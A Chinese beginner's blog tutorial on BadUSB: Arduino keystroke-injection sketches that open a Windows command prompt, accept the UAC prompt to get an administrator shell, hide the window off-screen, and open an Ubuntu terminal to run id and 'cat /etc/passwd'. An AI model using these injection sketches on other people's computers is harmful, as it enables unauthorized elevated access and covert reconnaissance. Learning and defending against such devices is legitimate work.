从零开始学badusb(2)--badusb调用命令行

上一节初步接触了badusb,这节我们学习一下怎么调用cmd

首先是windows下面
首先是简易版的

#include  <Keyboard.h>
 void setup() 
{ 
 Keyboard.begin();
  delay(1000); 
 Keyboard.press(KEY_LEFT_GUI); 
 delay(500); 
Keyboard.print("r");
delay(500);
Keyboard.release(KEY_LEFT_GUI); 
delay(500);
Keyboard.println("cmd");
 Keyboard.end(); 
 } 
 void loop() 
 {}

这个就是大家很熟悉的win+r cmd+回车,一位内我们用的是println,所以自带回车
但很多时候我们需要的是管理员权限的cmd
那么就需要用到下面这个

#include  <Keyboard.h>
 void setup() 
{ 
 Keyboard.begin();
  delay(1000); 
 Keyboard.press(KEY_LEFT_GUI); 
 delay(500); 
Keyboard.release(KEY_LEFT_GUI); 
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
delay(500);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
 Keyboard.print("cmd.exe"); 
 delay(500);
 Keyboard.press(KEY_LEFT_CTRL );
Keyboard.press(  KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN); 
delay(500); 
 Keyboard.release(KEY_LEFT_CTRL); 
 Keyboard.release(KEY_LEFT_SHIFT); 
 Keyboard.release(KEY_RETURN); 
delay(500); 
Keyboard.press( KEY_LEFT_ALT    );
Keyboard.press('y'); 
delay(500); 
 Keyboard.release(KEY_LEFT_ALT    ); 
 Keyboard.release('y'); 
delay(500); 
 Keyboard.end(); 
 } 
 void loop() 
 {}

首先按一下win,然后切换大小写防止中文输入
然后就会在开始栏查询cmd.exe就是我们的命令提示符
ctrl+shift+return就会弹出来一个是否使用管理员身份来运行cmd.exe
再alt+y表示确认,就可以获得一个管理员身份的命令提示符

接下来就是一个隐藏我们cmd的过程,其实也没有那么神器,只是缩小隐藏起来罢了
这个跟之前相比,平常我们运行的时候就只是cmd
CMD /q /d /f:off /v:on /k MODE con: cols=30 lines=6
这句话的理解
/q 关闭回显虽然我也不太理解关闭回显有什么效果,但是网上解释就是不显示?不太明白
/d 禁止从注册表执行 AutoRun 命令
/F:OFF 禁用文件和目录名完成字符
/V:ON 使用 ! 作为分隔符启用延迟的环境变量
MODE con: cols=30 lines=6调整行数和列数
为什么需要这些参数其实我目前也不太理解,不过慢慢看
alt+"+m就是右键点击cmd然后选择m对应的是移动
然后左键移动一会就可以看见命令行跑到窗口外面去了…
有点傻fufu的

#include<Keyboard.h>
void setup() {
  Keyboard.begin();
  delay(3000);
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.print('r');
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(1000); 
  Keyboard.println("CMD  /q /d /f:off /v:on /k MODE con: cols=30 lines=6");
  delay(1000);
  Keyboard.press(KEY_LEFT_ALT);
  delay(200); 
  Keyboard.press(' ');
  delay(200); 
  Keyboard.release(KEY_LEFT_ALT);
  Keyboard.release(' ');
  delay(200);
  Keyboard.print("m");
  Keyboard.press(KEY_LEFT_ARROW);
  delay(3000);
  Keyboard.release(KEY_LEFT_ARROW);
    Keyboard.println();
  Keyboard.end();
}

void loop() {
}

如果有大佬可以解释一下那些参数的意义的话也非常感谢科普

然后是一个基础的ubantu下调用终端的命令
ubantu下按住start键是开始查找的功能
输入terminal回车进入命令行
pwd显示当前路径
/etc/passwd显示着系统的权限分配
id 命令可以显示真实有效的用户 ID(UID) 和组 ID(GID)。UID 是对一个用户的单一身份标识。组 ID(GID)则对应多个UID

#include<Keyboard.h>
void setup() {
 Keyboard.begin();
  delay(3000);//延时
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  delay(500);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(200); 
  Keyboard.print("terminal");
  delay(3000);
   Keyboard.println();
     delay(3000);
   Keyboard.println("PWD");
  delay(1000);
  Keyboard.println("ID");
  delay(1000);
  Keyboard.println("CAT /ETC/PASSWD");
  delay(1000);
  Keyboard.end();
}

void loop() {
}

注意调整delay信息,不然可能出现命令未有效执行

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值